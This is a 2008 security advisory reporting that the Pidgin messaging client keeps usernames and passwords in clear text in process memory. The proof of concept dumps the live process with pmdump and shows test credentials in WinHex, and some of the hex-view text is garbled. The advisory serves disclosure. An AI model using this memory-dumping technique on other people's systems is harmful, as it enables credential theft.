



Pidgin Client Password Disclosure Vulnerability

Credit: Aditya K Sood , Founder SecNiche Security

Release Date: 11 September 2008

About Pidgin: Pidgin 2.5.1

Pidgin is a graphical modular messaging client based on libpurple which is capable of connecting to AIM, MSN, Yahoo!, XMPP, ICQ, IRC, SILC, SIP/SIMPLE, Novell GroupWise, Lotus Sametime, Bonjour, Zephyr, MySpaceIM, Gadu-Gadu, and QQ all at once. It is written using GTK+.

Explanation:

The pidgin client inherits client side password disclosure vulnerability. The credentials used to connect to the required service i.e. username and password is not encrypted properly. The credentials can be extracted in clear text by dumping process memory of the live pidgin process when a connection is set. The vulnerability allows anyone with access to the client system to obtain the username and password. Additionally, this vulnerability could also be exploited by fooling the user to execute malicious code which would dump the memory of the process "pidgin.exe".

Description:

A test account is created with username "pidgin_test" and password "memorypass". Live connection is set to the yahoo service. The process is dumped and analyzed to prove the concept.

Step 1: Dumping memory with pmdump utility

```
console
C:\>pmdump -list
pmdump 1.2 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/pmdump/
0 - System idle process
4 - System
416 - smss.exe
464 - csrss.exe
492 - winlogon.exe
536 - services.exe
548 - lsass.exe
704 - svchost.exe
748 - svchost.exe
908 - svchost.exe
928 - svchost.exe
1380 - explorer.exe
1556 - VM303_STI.EXE
1564 - vmware-tray.exe
1572 - realsched.exe
1588 - ctmon.exe
1624 - GoogleToolbarNotifier.exe
1632 - GoogleUpdate.exe
1668 - ApacheMonitor.exe
460 - svchost.exe
820 - svchost.exe
2516 - winamp.exe
1740 - console.exe
2536 - cmd.exe
3780 - firefox.exe
3988 - TextPad.exe
1012 - WINWORD.EXE
4028 - pidgin.exe
2288 - pmdump.exe

C:\>pmdump 4028 pidgin_memory_dump.txt
pmdump 1.2 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/pmdump/

C:\>
```

The pidgin memory dump is extracted to a txt file for analysis.

The analysis shows the “**pidgin_test**” user account has 25 clear text entries in the memory dump.

The username can be seen in clear text.

[illegible]

The password can be seen in clear text.

Step 3: Cross Check with WinHex.

3.1 User Check

Clipboard:	available	00C40E10	4D 01 72 69 00 00 3D 00	02 00 02 00 49 01 0C 01	March.....
TEMP folder:	509 MB free	00C40E20	41 70 72 69 6C 00 3D 00	02 00 02 00 49 01 0C 01	April.....
	C:\DOCUMENTS\ADMINI~1\LOCALS~1\Temp	00C40E30	4D 61 79 00 78 01 3D 00	02 00 02 00 4B 01 0B 01	May.....
		00C40E40	4A 75 6E 65 00 01 3D 00	02 00 02 00 45 01 0B 01	June.....
		00C40E50	4A 75 6C 79 00 01 3D 00	02 00 02 00 47 01 09 01	July.....
		00C40E60	41 75 67 75 73 74 00 00	03 00 02 00 41 01 0E 01	August.....
		00C40E70	53 65 70 74 65 6D 62 65	72 00 00 00 00 00 00 00	September.....
		00C40E80	02 00 03 00 5C 01 08 01	4F 63 74 6F 62 65 72 00	October.....
		00C40E90	03 00 02 00 5E 01 0F 01	4E 6F 76 65 6D 62 65 72	November.....
		00C40EA0	00 00 00 00 00 00 00 00	03 00 03 00 59 01 0F 01	December.....
		00C40EB0	44 65 63 65 6D 62 65 72	00 00 00 00 00 00 00 00	T.....AM.....x=.
		00C40EC0	02 00 03 00 54 01 0D 01	41 4D 00 00 78 01 3D 00	V.....PM.....x=.
		00C40ED0	02 00 02 00 56 01 0D 01	50 4D 00 00 78 01 3D 00	P.....M/d/yyyy
		00C40EE0	03 00 02 00 50 01 0F 01	4D 2F 64 2F 79 79 79 79	S.....
		00C40EF0	00 00 00 00 00 00 00 00	04 00 03 00 53 01 0C 01	P.....M/d/yyyy
		00C40F00	64 64 64 64 2C 20 4D 4D	4D 4D 20 64 64 2C 20 79	P.....M/d/yyyy
		00C40F10	79 79 79 00 00 00 00 00	03 00 04 00 6F 01 0D 01	P.....M/d/yyyy
		00C40F20	68 3A 6D 6D 3A 73 73 20	74 74 00 00 00 00 00 00	P.....M/d/yyyy
		00C40F30	6C 00 03 00 6A 01 0D 01	00 00 00 00 00 00 00 00	P.....M/d/yyyy
		00C40F40	02 B4 00 55 00 00 00 00	00 56 40 DB 38 39 C0 80	P.....M/d/yyyy
		00C40F50	70 69 64 67 69 6E 5F 74	65 73 74 C0 80 35 39 C0	P.....M/d/yyyy
		00C40F60	80 59 09 76 3D 31 26 6E	3D 66 67 73 62 70 73 74	P.....M/d/yyyy
		00C40F70	62 74 6B 6B 61 63 26 6C	3D 66 38 33 36 38 64 5F	P.....M/d/yyyy
		00C40F80	6A 34 69 6A 2F 6F 26 70	3D 6D 32 71 76 76 69 6E	P.....M/d/yyyy
		00C40F90	80 31 32 30 30 30 30 30	30 26 69 7A 3D 31 34 32	P.....M/d/yyyy

3.2 Password Check

Mode:	Text	01454F80	28 60 42 01 78 73 42 01	00 6C 6B 00 00 00 48 01	e B.XSS..IK...H.
Character set:	ANSI ASCII	01454F90	04 00 03 00 7E 01 08 02	58 8D D0 00 E0 73 74 62	XID..astb
ffsets:	virtual	01454FA0	50 0D D0 00 50 76 74 62	50 0D D0 00 10 A5 74 62	XID.PotbHID..wcb
ytes per page:	46x16=736	01454FB0	03 00 04 00 7A 01 0D 02	6D 65 6D 6F 72 79 70 61	z...memorypa
/indow #:	4	01454FC0	73 73 00 00 74 01 0F 02	04 00 03 00 75 00 0E 02	ss..t.....u...
o. of windows:	4	01454FD0	B8 C9 47 01 98 51 44 01	02 00 02 00 77 01 0B 02	EG..QD...w...
		01454FE0	70 72 65 66 00 01 3D 00	41 00 04 00 71 01 08 02	pref...=..A...q...
		01454FF0	50 E7 3A 01 18 61 C3 00	20 A5 C8 00 00 00 00 00	Pq...aA..wE.....
lipboard:	available	01455000	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
EMP folder:	509 MB free	01455010	50 E7 3A 01 88 64 C3 00	20 A5 C8 00 00 00 00 00	Pq...aA..wE.....
	C:\DOCUMENTS\ADMINI~1\LOCALS~1\Temp	01455020	B8 F0 41 01 00 00 00 00	00 00 00 00 00 00 00 00	
		01455030	50 E7 3A 01 B0 64 C3 00	20 A5 C8 00 00 00 00 00	Pq...aA..wE.....
		01455040	B8 2D 46 01 00 00 00 00	00 00 00 00 00 00 00 00	F.....
		01455050	50 E7 3A 01 D8 64 C3 00	20 A5 C8 00 00 00 00 00	Pq...aA..wE.....
		01455060	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
		01455070	50 E7 3A 01 78 90 C7 00	18 00 00 00 00 00 00 00	Pq...xIC.....
		01455080	01 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	
		01455090	50 E7 3A 01 88 64 C3 00	20 A5 C8 00 00 00 00 00	

The POC is done.

Disclaimer:

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There is no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for a ny implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages.

Contact:

Adi_ks [at] secniche.org